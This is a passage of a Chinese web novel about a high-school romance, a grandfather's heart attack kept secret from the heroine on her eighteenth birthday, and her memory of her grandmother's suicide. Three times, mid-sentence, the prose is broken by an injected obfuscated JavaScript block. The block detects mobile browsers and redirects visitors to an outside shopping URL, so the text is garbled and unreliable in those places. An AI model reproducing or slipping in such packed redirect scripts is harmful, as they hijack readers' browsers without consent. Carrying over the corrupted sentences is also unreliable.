地铁终于在站台停住,一群要下车的人涌到车门口,牧时桉很轻地捏了下她的手,提醒着:“到站了。” “……哦,了解。”骆眀昭顶着张通红的脸,在牧时桉的牵引下走出车厢。 进地铁不久他们几个就被人流冲散了,离着不远但中间隔着不少乘客,到了目的地分别从两个出门走下来,骆眀昭暗自吐出口热气,她这会儿还不太能平复心绪。 “昭昭!”梁若璇和林雨彤在无人长椅旁冲着两人招手。 想起林雨彤那好像还有半瓶矿泉水,她不经意地挣脱牧时桉的手,朝着好姐妹那小跑过去:“你的水呢?借我喝口。” 骆眀昭嗓子发干,脑门沁出一层薄汗,急需水分的补充。 林雨彤赶紧从包里翻出来递给她:“看来你们站的地方没空调啊,热成这样?” “……嗯,”骆眀昭迅速拧开瓶盖,仰头灌下去一大口,低声回她,“特别闷。” - 地铁站里即便开再大的空调,那感觉跟出站吹到的微风还是不同,估计是因为有汗,那含着热气的风吹在脸上仍是凉飕飕的。 “人真多啊!”林雨彤感慨一句。 的确放眼望过去整条步行街满是耸动着的人头,高低起伏。 骆眀昭夹在中间,挽着两个好姐妹的胳膊,兴致勃勃:“你们有没有闻到空气里好吃的味道!”街口就是家买散装炸鸡块的小店,那味道相当作弊,勾得人馋虫压都压不住。 “吃呗!说得好像我们饿着你了一样。”林雨彤打趣着她。 想吃什么当下就去吃,这是王乐萍告诉她的话,很多时候过了那个时间点,味道就跟第一次闻到的不同,做事也是如此。 前半条街吃的更多,往深处走后半条街更多是各种卖东西的小店,他们在前半条街绕一圈,每个人手里都满满当当,虽说都不是什么稀罕的吃食,甚至不少就在骆眀昭家楼下小吃街就有,但在这个氛围环境里,它们也显得格外美味。 牧时桉身形好,个头高长得又惹眼跟同样长得不差的薛游站一块,几乎每过一处就引得人打量,梁若璇和林雨彤也纤瘦漂亮,骆眀昭站在摊贩等待自己食物时,不经意朝着身后扭头看,也不禁感慨她身边这几个都是怎么长的。 基因真是彩票啊。 薛游家就住这附近,作为周边居民由他带头拐进条小巷里,又七拐八拐最终到了家串店。‘ 酒香不怕巷子深说得就是如此吧?在如此偏的位置还能引来这么多的食客,非常幸运他们来时还有位置,刚一坐下,服务员就递给他们一支笔和选菜小单。 “我先点了。”薛游没客气,拿着笔在上面写写画画,毕竟他常来,知道什么好吃。 骆眀昭吸了一口满是冰块的果茶,激得浑身起鸡皮疙瘩:“这么偏的地方,你怎么找到的?” “哦,我家就在后面,”薛游埋着头随口应着,他们就坐在室外,说完举手指向一栋很高的建筑,“就那栋。” 骆眀昭和林雨彤都没去过薛游家,于是好奇地往他指得方向看过去,很显眼的一栋高楼,在旧居民区显得格外高耸突兀,在暗下去的夜里,仿佛那边个另一个世界,星河璀璨。 “我靠!那不是华园吗!那房子爆贵不是吗?”林雨彤震惊。 骆眀昭五官也相当精彩,那种地方仿佛提到一次就会扣她余额里的钱一样,她感慨:“妈耶,失敬失敬,原来是薛少爷。” “哼哼,低调低调,”薛游摆摆手,将菜单递给他们,“我觉得好吃的都点了一遍,看你们还想要什么?” “够了,咱们这还买了这么多东西呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240317|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”骆眀昭微扬下巴,示意他们堆在角落里的小吃。 菜单交还给服务员,他们就老实地等着,店门口支得这几张桌子高度都不过人膝盖,旁边就简陋地摆着几个小马扎,骆眀昭坐着还行,再看其他几个,就实在别扭点。 薛游家有钱这事大家虽从没主动说过,但骆眀昭隐隐能感觉到,比如他穿的各种鞋,牌子倒是认得但都是她没见过的款,再比如他平时骑电动车或是山地车上学,光是这山地车骆眀昭就见过三辆不一样的。 但后来,总跟着大家混迹路边小摊,又老实A钱,她也就把这事忘个干净。 没想到,少爷就在我身边。 惊奇了一会儿,等服务员端着餐盘上来,她倒也就把这事抛在脑后,毕竟即便再有钱,薛游身子也是肉做的又不是金子塑的,跟他们有什么区别。 “快,尝尝这鸡肉串,我就爱吃他们家鸡肉串,”薛游倾情推荐,骆眀昭于是拿了一串,顺着签子咬下来块鸡肉来,外面是烧烤料,皮是脆的可里面的鸡肉又嫩又滑,香得不行。 薛游看各位吃得开心,得意洋洋:“我说什么来着?跟着哥有肉吃。” “我们管你叫哥?”牧时桉掀起眼皮清清淡淡地睨着他,“薛少爷?” “口误,口误,必然你们是我大哥。”大丈夫能屈能伸,薛游光速滑跪,只看年份来说,他其实比大家都小一年。 这家桂花番茄做得不错,骆眀昭捏着筷子夹了一块入口,正吃着,耳边忽然响起手机嗡嗡的震动声。 她出声问着:“是不谁手机响了?” “我的手机。”牧时桉感到到兜里的震感,垂下头瞧了一眼,是骆齐的电话,下午那通电话后,牧时桉存了他的电话号码。 他下意识把屏幕扣到手心,站起身来:“我出去接个电话。” 说完穿过密集的小桌子,拿着手机走向光线不好的巷子深处。 “他今天还挺忙,一会儿一个电话。”薛游随口吐槽这么一句。 骆眀昭手里还捏着签子,也朝着他离开的方向瞧了一眼:“估计是有什么事吧?” …… 来电声持续了一阵,牧时桉快步到离烤串店有段距离的路灯下,赶快接起电话:“骆叔叔?” “小牧啊,”电话里男人的声音能听出疲惫,但还是有一丝笑意,“你们今天玩得开心吗?” 牧时桉靠着路灯,开口说:“挺好的,姥爷他怎么样了?” “造影结果出来了,非st段抬高心梗,但好在真的万幸不是高危,明天一早手术,二附现在的心内主任你跟骆眀昭该叫他李大爷,不知道你认不认识,他亲自给做溶栓……”也许骆齐也隐隐慌乱着,在电话里竟念念叨叨地说了很多。 “晚上我和她妈妈应该就不回去了,就麻烦你们多陪着她待会儿,玩得累她就顾不上想别的。”骆齐说。 晚风里,牧时桉微微弯着腰,轻声回:“我知道了,叔叔。” “那有事就电话联系我……” “叔叔?”牧时桉忽然开口,眼眸晦暗。 “怎么了?” 沉寂无垠的黑夜,世上每个心脏都不同频,牧时桉沉吟片刻,长叹口气。 “我们这样真的是对的吗?什么都不告诉她。” 电话那头安静许久,终于,骆齐说:“小牧,做父母的,我们不能赌。” …… 68. 鲜虾鱼板方便面【二合一】 一旦熬过一次夜,再想把作息调整回正常可需要一段时间。 也是不知道几个人那天出去玩怎么如此有精神,也可能是因为玩嗨了,逛完夜市又跑去看通宵场老电影,从电影院半眯着眼出来时,外面天都是亮的。 这是骆眀昭第一次跟朋友们玩到真正意义上的天亮,回家后脸都没来得及洗,换了衣服就一个猛子扎到床上,睡到下午三四点。 “晚上我跟你爸不回去了,我们一块去跟老同学吃饭啊。”骆眀昭瘫在沙发上醒神时,王乐萍一通电话打来。 “吃个饭还要通宵呢?”骆眀昭眨巴眨巴眼睛,不得不说她有时意外敏锐,“对了,你跟我爸早上几点出门,我咋没听见关门声。” 王乐萍电话里顿一下,不过还是很自如地回应:“你大凌晨回来睡得跟死猪一样能听见什么?我们开车去,比较远在那边住一宿。” 似乎是这样,她几乎都没什么进家之后的记忆,沾枕头就睡着。 挂断电话,骆眀昭在沙发上翻了个身,抱着靠枕有一搭没一搭地打盹。 看来以后还是不能玩得这么疯。 她还算好点,像梁若璇他们回去补个觉下午还照样得去补课,简直没有天理。 缓了一会儿,她撑着沙发起来,套着衣服就出了门,再回来时手里拿着不少东西,写会儿作业到就到天黑,又点了个外卖随便填饱肚子,骆眀昭洗完澡就钻到被窝里,关上灯,整个房间里就她一人,安静清寂。 她缓缓闭上眼,心里算不得痛快,毕竟明天可是大日子。 还要早些起床呢。 - 据说牧时桉他们家小区最近有几户人家被偷,就是原先那套常住的房子。 牧正云因此回去住了几天顺便看房子,昨天早上撬锁小偷成功被警方逮捕,他也就又回到家属院这边住。 虽说这边哪都老化,但住了快一年,还真有些在这边住习惯了。 周六,牧家夫妻两个都不用上班,牧时桉睡醒时,推开门父母正在餐厅吃饭。 “起了?来吃饭吧。”孙惠叫他。 牧时桉直接目不斜视地从旁边走过去,声音带着些睡醒后的嘶哑:“洗漱。” 等他从卫生间出来,餐桌上就只剩牧正云还在吃着,见儿子过来牧正云帮他拿碗:“锅里有粥,我给你盛——” “不用了。”牧时桉拉出椅子来,悠悠地拿起个豆沙包,慢条斯理地咬着。 牧正云深深看他一眼,也没多说什么。 牧时桉小时候他跟孙惠都忙,他那会儿还没从临床转到医务,每天忙得脚不沾地,孙惠则是个外贸公司的会计,生完孩子身体刚休整差不多就出来上班,牧时桉有很长一段时间一直跟着他爷爷奶奶,跟梁若璇养在一起。 开始没觉得怎样,牧正云从小也是被自己父母放养长大,心思不细,所以没太注意,到了后来大概是牧时桉三四年级,他和孙惠的工作都稳定以后,牧时桉就甚少再往爷奶家送了。 等到牧正云终于后知后觉自家儿子跟他们不太亲,已经是他上初中时候了,他那时候比现在话还少,每天脸上几乎没什么表情,想关心都不知道从何问起,牧正云有时候在医院里,听到同事抱怨自家孩子调皮不懂事,被老师叫家长或是跟同学打架,都有些懵。 按说男孩子调皮捣蛋上房揭瓦那都是常事,牧时桉似乎从没给他们添过麻烦,这么多年连个犯错时候都没有,别说训斥,板子都没打过一次。 而且那骆齐老没事找事凑到他旁边臭显摆,什么昨天父亲节宝贝闺女给他做了贺卡啊,或是他过生日闺女用零花钱给他买了小礼物,女儿是父母的贴心小棉袄诸如此类,把牧正云气得够呛。 结果前天骆齐忽然来问牧时桉的手机号也没来得及说为什么,他虽然懵着,但也老实给了。 怎么感觉跟他这个亲爸不亲,跟别人家的爸爸相处倒是不错的样子,牧正云虽然没说,但隐隐心里不太舒服,有点酸溜溜的。 “那天,骆齐给你打电话,干嘛啊?”牧正云故作随意问,他顺手加了一筷子咸菜,也没伴着粥就这么干吃,咸得他脑子嗡嗡的。 牧时桉低头咬着豆沙包,头也没抬:“让我帮他办点事,你在医院,友听到什么骆姥爷的事吗?现在好吗?” 支架手术后骆齐给他发过消息说是挺成功。 “这事你也知道?具体情况我不太清楚,但李哥是心内大拿,他出手肯定没问题,主要是危险期没过得紧观察着,”牧正云大口灌粥,压下嘴里咸意扭过脸去看他,明明没醋,空气里酸得要命,“呵,你俩什么时候这么亲,还有来有往地帮忙。” 牧时桉:“……” 仰头看自己亲爸,虽然没说开口说话,但那表情完全就是——你在不爽些什么? 牧正云也不瞎,又不是看不出他的言外之意,当即马上来气。 “他是你爸,还是我是你爸!”说完,也不吃早点了,气哄哄一甩筷子,扭头走了,连脏碗都没收拾。 中年青春期?牧时桉是这样理解他的。 …… 这个早晨,骆眀昭定得是四点半的闹钟,窗帘闪着个缝,她揉揉眼睛看过去,大概能瞧见微微亮起的天光。 要按往常来说这点就算怎么起都会困,今天却一睁眼,双眸只剩清明。 今天她骆眀昭就十八岁了。 起床第一件事看手机,她撑起身子去找,亮起屏幕果然就是几条生日祝福。 牧时桉他们四个人,还有小学时候的一个好朋友,他们都踩着零点准时给她发送了生日快乐,只是那会儿她人已经睡熟了。 屏幕的光映在骆眀昭脸上,她笑着划拉手机去一条条回复他们的心意。 她的微信置顶有三个,家庭群,好友群和牧时桉。 骆眀昭怀着些期待最后一个点开他的消息,跟别人都不一样,是条语言。 “祝你十八岁生日快乐,骆眀昭”他清冷又带着些磁性的声音传进她耳朵里,最后叫她名字时尾叼悄悄上扬,像带着小钩子,痒痒的。 直至她放下手机,去换衣服,还在脑中一遍遍响着,这家伙别太会了吧! 等到穿好衣服,又洗脸刷牙,被某个家伙勾起来的热意才消退些。 骆眀昭灌了一大口水,又清清嗓子,确定自己声音是正常且带着一丝原本的甜美后,她点开语音键:“谢谢哦。” 放下手机,骆眀昭拍拍脸颊,房间里被映成浅浅的蓝色。 早上还有很多安排呢。 她支起小锅,给自己煮了碗方便面,鲜虾鱼板的。 过生日起码得吃面,虽然这口味她算不得爱吃,不过好在早晨吃不会腻。 骆眀昭坐在饭桌上安静吃完,从冰箱里收拾出来一些糕点水果用塑料袋装好,换鞋穿外套背着包离开家,不是先出门而是拐到地下室,有几只野猫在他们楼道里常客,被她开锁声音吵醒还很不满地“喵”一声。 “抱歉啦咪咪,下次给你们带好吃的。”仿佛猫咪能听懂,骆眀昭笑着跟它们道歉。 她飞快地拿了些祭祀用品,都是之前骆齐从店里拿回来的,就赶紧快步锁门离开。 这个时间世界都还没苏醒,街道清冷,她拎着左手报着捧花,右手提着塑料袋走出巷口,等待着手机上叫来的出租车,开门才发现司机是个五六十岁的大姨,活力满分。 “小姑娘这么早一个人去墓园啊?”她笑着。 骆眀昭小心翼翼抱着花束:“嗯,去上坟。” 除非忌日,不然七夕大概也没人来祭祀,骆眀昭抱着花走进陵园时只在服务台那依稀瞧见几个工作人员,她去要了个烧纸的桶,提着走上阶梯。 空气清新混杂着泥土味,骆眀昭站定在墓碑前,把所有带来的东西都摆上:“我说到做到哦,说这次会给姥姥你带玫瑰就一定会给你带。” 一束黄玫瑰花束静静在碑前放着。 她半蹲下,在桶里一点点烧着那红色票子:“哇,地府的通货膨胀也真是厉害,这纸钱面额也太大了吧?姥姥你们平时去买东西付钱是不是还挺费劲的……” “……我上次说有喜欢的男生,你都不知道有多神奇,他也喜欢我,我俩就这么在一起了,我知道姥姥你肯定说什么早恋啥的,但是我今天都十八岁了,严格来说算不得早恋!”她笑着。 今日太阳很好,顺着山的那边已经早早地爬起来,纸钱都被丢进桶里,她把打火机捞起来塞进包里,蹲得有些久她只能撑着膝盖站起来。 “一眨眼我都十八了,是不是很神奇啊,姥姥,你说生日一定要吃面,我早上有吃哦,不过是鲜虾鱼板面,我们年轻人的朋克长寿面哈哈哈,”骆眀昭扯着嘴角,垂下眼瞧着那墓碑,心中升起酸楚,喃喃自语。 “你居然也已经离开六年啦,我真的觉得好像昨天还看见你了一样,你会祝我生日快乐吗?还是你恨透我了,根本不想跟我这个不孝孙女讲话,每次来都嫌我吵,所以从没来过我的梦里……” 最后一点火光燃尽,骆眀昭揉揉膝盖,提着桶。 “即便嫌我吵我还是会来的,我脸皮厚啊,城墙都比不过我,”她笑着,转身朝着下山的道路走,在上次绊到她的地方,小心绕开,山风带着她轻软的声音,“忌日快乐?这话是不是有点怪?那就忌日不快乐吧,生日同样也不快乐,那早上方便面不太合我口味,有点淡……” - 快八点的时候,骆眀昭从出租车上下来,慢腾腾地低着头走近自家小区。 这个时间,正是大爷大妈们从早市结束战斗回来,小区里全是相熟的老人,骆眀昭沿路跟不少爷爷奶奶都打了遍招呼。 走进楼道时,早上在地下室熟睡的大胖橘这会跑到废纸箱里打盹,单元里有个爱猫奶奶老宠着它们,估计是刚下楼喂食。 正是不设防的时候,骆眀昭蹲下,肆无忌惮地撸着。 “眀昭?这么早就要出去啊?”骆眀昭顺着声音找过去,牧正云从楼梯上往下走,看着她两脸上笑呵呵的。 大橘终于被放过,骆眀昭拍拍手里猫毛,站起身:“没,叔叔我刚出去一趟,正要回家。” “看看眀昭你多有活力,我家那个臭小子一天死气沉沉,没个年轻人的样子。”很难说牧正云这话里没有刚早餐时,在跟牧时桉说话而产生的怨气。 骆眀昭无可奈何地笑笑。 “对了,眀昭你姥爷那情况怎么样?状态还好吧?”错身从骆眀昭身侧离开时,牧正云忽地问起这事,蹙起眉来。医院再大,这些事还是很容易便能传到他耳朵里。 骆眀昭一只脚刚迈上台阶,手搭在楼梯扶手上愣了一下:“怎么怎样?” “他不是刚做完手术吗?牧时桉早上还跟我问起来这事呢。”牧正云不明所以。 骆眀昭始终没回头,半晌她缓声说:“哦,挺好的,叔叔放心。” 扔下这句,也不管牧正云还有没有话跟她讲,她快步迈上楼梯。 …… 牧时桉是最后一个吃完早饭的人,他收拾完餐桌,又将碗洗干净,擦着手走出厨房。 该送给骆眀昭什么礼物呢?他一直纠结着。 无论经历什么,十八岁仍是一个值得纪念的日子,打开购物软件,也不知道是不是大数据在视奸他,总之开屏推送就是七夕礼物。 不知道医院那边怎么样了?他心一直悬在半空。 昭昭是我:【你来我家一趟,什么时候看见消息什么时候来。】 正刷着屏幕,忽然弹出条微信来,牧时桉为她设定的提示音是特别的,即便不看消息,也能知道是谁。 找他? 牧时桉也没换衣服,就这么大步朝着门外走,随手拿起家门钥匙。 可能是因为刚看完七夕礼物合集,屏幕上全是购物平台很有巧思的各种情话氛围,他杂七杂八的心思挺多的,下楼梯时,唇也忍不住勾起来。 牧时桉伸手敲响骆眀昭家门时,没想到一下秒就有人开门,并且一只小手拽着他的胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252703|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,径直把他拉进房间里。 “嘭”一声,玄关门被关起来,骆眀昭自进家后衣服也没换,被烧纸的黑烟简直是熏入味,浑身都是那股子味道。 她仰起头,将他堵在门前,死死地盯着牧时桉:“我姥爷的事,你是怎么知道的?” 牧时桉愣着,心跳剧烈,带着被戳破的心乱更多的是慌张,无措感第一次涌上他的大脑:“我……” “你说啊!”她声音有些大,但已经能感觉到是压制着情绪的,眸底更像是迷茫的小兽,在手足无措之时还在用坚强的外壳保护着自己。 “对不起,”他垂在身侧手紧紧攥着,手臂上青色血管脉络愈发清晰,声音有些哑,跟凌晨微信里的语音祝福判若两人,“骆叔叔叫我瞒着你。” “他人到底怎么了?为什么要做手术?” “……心梗。” 骆眀昭心像是被谁剜去一块似的,又酸又痛,只能死死拽着牧时桉的衣角,布料就这么皱成一团,她抿着唇,垂下头吐出口气:“你大爷的,能不能不要我问你一句你说一句,挤牙膏呢!一口气都说完行吗!” 牧时桉喉结滚动着,一下一下,他将所有的事合盘托出。 狭窄的玄关光线昏沉,两人少年人一呼一吸都打在彼此身上,没有一丝一毫的暧昧情绪,越来越压抑。 骆眀昭深吸两口气,还是没忍住怪他,语气很轻:“你回去吧,没你事了。” 这有什么能怪的,她又不是傻子,所有人都是怕她难过,怕她在本来就心酸的日子里更加崩溃,她本来就不是什么坚强的人。 骆眀昭伸出手把被她丢在柜子上的书包钥匙都拿上,金属在碰撞下叮当地响着,摆明就是要出门的样子。 牧时桉呼吸急促,喉间干得紧绷,声音很低,语气里又带着着急:“你去哪?” “……”她快压不住心底的委屈与疲惫了,闷闷地说,“去医院。” 牧时桉拉住她的手腕,像是如果不抓住,下一秒她就要再也不回来了一般:“我跟你一起去。” “……”她这时候的声音已经掺上了哽咽,“我自己就可以,不、不用你。” 牧时桉还握着她的手腕:“眀昭——” “你干什么啊!牧时桉!”所有情绪全都涌上来,宛如洪水决堤,她眼眶酸得都睁不开,只能无力地用没有任何力气的拳头锤着他,“你讨不讨厌啊!你是我男朋友还是我爸男朋友!你都什么听他的好了,要我也没什么用……” 牧时桉呆呆愣着不知道该怎么办,只能把她圈在怀里报得紧一些,更紧一些。 “你们所有人都是大骗子,都欺负我一个人……”骆眀昭靠着他的胸膛,泪水沁湿一片衣衫,“拿我当白痴,拿我当傻子……” “对不起。”牧时桉梗在喉间,只能任由着她发泄情绪,轻轻揉着她的头发。 不知道这样的状态持续了多久,骆眀昭哭到一下下打着嗝,肩膀随之耸动着,脑袋埋在他的怀里不愿起身,大概是贪恋着这温度吧。 咬紧牙关,她长呼出口气,推着在牧时桉的胸口将自己撑起来,鼻头忍不住抽动。 “我要去医院。”她说。 牧时桉垂眼看着她,低声说:“我陪你一起。” “……给你五分钟去换衣服。”骆眀昭最后还是没办法完全不理他。 “好。” 骆眀昭调整情绪后,洗了把脸,洗去眼角糊成一片的泪痕,眼睛还是又红又肿的,推开玄关大门时,牧时桉已经从楼下走下来了。 “走吧。”牧时桉站在楼梯上垂下眼看她。 骆眀昭沉默着没回他的话,扭过身锁家门,拔了钥匙安静地走下楼梯。 牧时桉胸口闷着,没说什么,跟在她身后走下楼梯。 太阳光燥热,刚哭过眼睛在强光下感受感酸涩的难受,亮得骆眀昭睁不开眼,只能半眯着,而下一秒,牧时桉错身站到她身前,挡住她身前全部阳光,充当遮阳伞。 骆眀昭没说什么,只沉默地跟在他身后走,少年的脊背又硬又宽阔,骆眀昭闷着,时不时拿脑袋撞几下,表示不忿。 牧时桉没什么反应,仿佛感觉不到似的,就那么一直往前走。 在路口没等一分钟,骆眀昭叫的出租车就停在路边,她伸出手径直拉开副驾车门,坐了进去。 牧时桉目光落在她的背影上,伸出手拉开后座车门。 骆眀昭都不用猜,人绝对是在二附,出租车就着这么一路疾驰,一个红灯都没遇上,稳稳停靠在医院门口。 医院这种地方哪有什么严格意义上的节假日,即便周六人还是很多。 “我不知道人在哪。”进入医院大门后,牧时桉老实说。 骆眀昭走在他身侧,终于说出她出门后的第一句话:“我知道。” CUU病房,骆齐在心内带了那么多年,作为家属,基本的了解她还是有。 那地方一般进不去,但以她对自己父母的了解,他们也会在外面守着。 好多年没来过心内,但几层骆眀昭还是知道,不用看指示牌她就知道在几层,按下十楼电梯按钮,这台电梯顺利得中途一次都没停,可骆眀昭还是觉得慢。 电梯“叮”地一声刚好卡在她的心跳上,骆眀昭快步走出电梯,朝着她记忆里的方向走过去,果然走廊尽头的医院长椅上,王乐萍和骆齐靠坐在一起,王乐萍时不时往CCU的方向瞅着。 果然,那种无力感再度袭来。 骆眀昭偏过脸,拉着牧时桉的衣角,闪身进了楼梯间。 她很讨厌进医院楼梯间这个地方,记忆里为数不多几次进这里,都能听到有人在低声抽泣,可现在进这里的人变成她。 透过那一块方形玻璃,能大慨看到CCU前的位置。 骆眀昭无措着往玻璃内的方向瞧着,脸颊又不禁湿漉漉的,牧时桉看她的样子,除了帮她擦眼泪外,也什么都做不了。 “果然啊,医院这种地方,最让人讨厌了。”她说。 69. 厚蛋烧 楼道间里墙上只开一块很小的窗户,无光的地方实在阴冷,通常夏季医院里冷气又开得大,骆眀昭抱膝坐在台阶上,整个身子都是冰的。 “走吧。”她透过那块玻璃又往病房前望了一眼,撑着膝盖起身。 牧时桉一直陪着她坐在这,仰起头:“现在走吗?” 骆眀昭嗯了一声,插着外套口袋也没走电梯,顺着楼梯就这么走下去。 “待的太晚被医护人员看到不好解释。”她又补一句。 他们走到一楼大厅时,这个时间已经是另外一种景象,空荡凄凉,仿佛白天都喧闹都是在梦里。 月明如昼,清清淡淡地洒在人身上,骆眀昭闷着没说话,安静地朝医院外走。 “这离小区很远,走回去得很久。”牧时桉开口打破这寂静,他轻声说,骆眀昭似乎有越走越远的趋势。 骆眀昭于是伸手摸出电量告急的手机,看着最后百分之十电量提醒,准备定位打车。 牧时桉偏头看着她,心间的那个缺口被堵住,憋得他上不来气:“我打了车,在这等着就好。” 站在马路边,她望着车水马龙的街道发愣,牧时桉叹了口气,他伸手小心翼翼地牵住她,声音有些微不可查的脆弱:“骆眀昭,我真的错了,你别我不理我。” 骆眀昭猛地出神,扭过脸去,看着他微微俯下身,头一次在他的脸上看到这样的神情,事实上他长得挺拽的,可是一副小狗似的可怜样又很契合。 “我没生气,没不理你,”她努力像平时那样开朗地笑,“我就是有点懵,可能是睡得不够,我今天起得很早,四点半就起了,头晕晕不知道说点什么。” 他怔住问:“为什么起那么早?” 骆眀昭反手牵住他,顿了顿说:“早上,去给我姥姥扫墓了。” 牧时桉梗住,嗓子干涩地说不出话。 “你应该知道了吧,”骆眀昭忽然说,仰起头看着那昏暗的路灯光影,握住牧时桉的手轻轻捏了捏,“我今天才想起来,当初我姥姥没了,牧叔叔有来上香。”递香的人就是她。 而且本来也不是什么很要保密的事,说实话当年这事小范围闹得很大,毕竟涉及到医院方的管理漏洞,家属这边也有看护不当的问题。 “嗯……”牧时桉声音很哑,带着鼻音。 他甚至都无法想象,亲眼看着,那应该是一生都难以磨灭的阴影。 仍亮着光的手机屏幕,出租车此时此刻堵在的一条道上,前行艰难,他俩就这样在夜风里牵着手陪着彼此。 骆眀昭额前的碎发轻柔的摆动着,她往牧时桉那边靠了靠,那感觉更像是在安慰他:“我说没生气,不是哄你,我真的没生气,没有生我爸妈的气,没生所有人的气,因为谁都没错,我懂的。” “我能理解我爸的用心,”她声音很轻很软,语调平静,像是再一次回到了那个令人不快乐的假期,“他是真的怕了,他一直都将所有责任都推在自己身上。” 骆姥姥当年摔在楼道里被发现,再到转院送到绮城医院,确实耽误的时间有些长,以至于在ICU住了好一段时间才最终转到普通病房。 “我姥姥当时没送来二附,去的是第一医院,二附虽然也是三甲但跟第一医院还差点距离嘛,后来病情逐渐稳定,情况不错,我妈就提出要不要转院到二附,”她慢吞吞地讲着,“当时我爸还在二附呢,加上我妈,两个人都是二附大夫,我妈的意思是转院过来方便照顾,但我爸当时犹豫了……” 骆眀昭长长地呼出口气:“他其实想得也没错,毕竟第一医院医疗水平更好,而且当时我姥姥大概再观察个两三天就能出院接回家照顾,比起大张旗鼓地折腾一趟还是回家之后的细心护理更为重要。” “但就是在这出院前的三天里,我姥姥她……”后面的话骆眀昭没再说下去。 牧时桉愣着,不可思议着:“所以,骆叔叔认为这一切都是他的责任。” “对的。”她点点头。 如果在王乐萍的提议后,骆姥姥就即刻转院,那么她一定会被更仔细地看护着,就不会给她结束生命的机会,这样还那么小的骆眀昭就不会亲眼看到这一惨剧,留下终身阴影,王乐萍和骆姥爷也不会因此陷入失去至亲之人的巨大悲痛里——这一切都是他骆齐的错。 “我爸本来就是个心思很细腻的人,他一直用这事困着自己,我妈甚至我姥爷从来都没有怪过他,只是他自始至终心里过不去这个坎,他就这么一直闷自己,一开始谁都没看出来,后来是他半夜在医院值班时惊恐发作,被同事送去急救,我们才知道他重度抑郁瞒着我们那么久。” 骆眀昭顿了顿,头歪着靠在牧时桉身上,才继续说。 “出了这么大的事,大概他第一时间想到的大概就是瞒着我,怕我受不了,怕我想到当年的事,我都懂的。” “会没事的。”半晌,牧时桉才终于开口,伸手抚摸着她的脊背。 骆眀骆很轻地吸了吸鼻子,望着朝着他们缓缓停下的出租车,笑着开口:“走吧,车来了,我们回家。” - 时隔多年,骆眀昭再次梦到那个困住她的梦魇。 像是有谁定住她的双脚,迫使着她一定要成为这场“大戏”的唯一旁观者,她周围摩肩擦踵,可骆眀昭的双眼只能直视那天空是饱和的蓝,与扎样的血红色对冲,天色渐暗,世界喧哗。 她不能动,不能说话,必须全程看着。 “来人啊!救命!有人跳楼了!快来人啊!” “跳楼的是个病人!是谁!” “是那个叫做骆眀昭的姥姥!” …… 梦里的群众如此说。 看到了吗?她死了就是被你逼死的,被你骆眀昭逼死的! 有个雌雄莫辨却又尖锐轰鸣的喊叫声,“嗡”地一声在她的脑中爆炸。 是我,都是我。 微信电话声在她耳边持续不断地响着,躺在床上的骆眀昭眉头紧锁,满头都是冷汗,下一秒她猛地坐起身,呼吸急促着像是被夺走她的氧气。 她扶着胸口眨巴着眼睛,手有些抖得接起枕旁的电话。 “喂?怎么了?”她尽量让声音听上去平静。 对面的牧时桉说:“刚刚骆叔叔给我打了电话,说姥爷他人没事了。” “真的啊,”骆眀昭呼出口气来,可握着两只手却还是止不住地在抖,“哎呦,我都有点醋了啊,我爸居然先给你打电话。” “怕我也惦记吧,这种飞醋你也要吃?”他很轻地在笑,又问,“所以今天还要去医院吗?去的话我陪你。” 停顿片刻,她说:“不啦,既然人都没事我也能放下心来,按着我爸的性子,估计马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14261771|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也会通知我。” 骆眀昭举着手机,侧过身去床头柜上抽了张纸巾,擦去脸上的汗。 “今天来我家里吗?”牧时桉忽然说,“我妈早上说她会做红烧肉,问你要不要来吃?” 孙惠手艺很好,每每炖的肉都软烂入味,能跟饭店的厨子媲美。 骆眀昭掀开被子下床,走到桌前,茫然地看着镜子里的自己。 “哦,今天就不了,”她看着镜子里的骆眀昭,嘴巴一动一动地,“想在家里赶赶作业,这不是快开学了吗,我快做不完作业啦。” 电话那没了声音,沉默良久后,他说:“骆眀昭,我今天陪你一起吧。” “怎么,你离不开我?好啦放心我真的没事,你跟我一起写作业我怕分心唉。”骆眀昭紧握手机。 她直视着镜子里的女生,那眼神分明恳切又无助。 牧时桉,你陪陪我吧。 - 果然还是亲女儿更了解父母,骆姥爷转到普通病房后,骆齐和王乐萍就告诉她姥爷生病的事,她虽然嘴上抱怨几句,但也很快就含糊借过这个话题。 开学日临近,除了每天按时去医院跟姥爷聊天,骆眀昭就将全部精力用在完成作业上,跟好友和牧时桉的联系少了一点,不过每天还会按时按点分享日常和互道早安晚安。 终于八月十六号这天,经过一个跌宕的暑假,绮城八中的学生们迎来开学日。 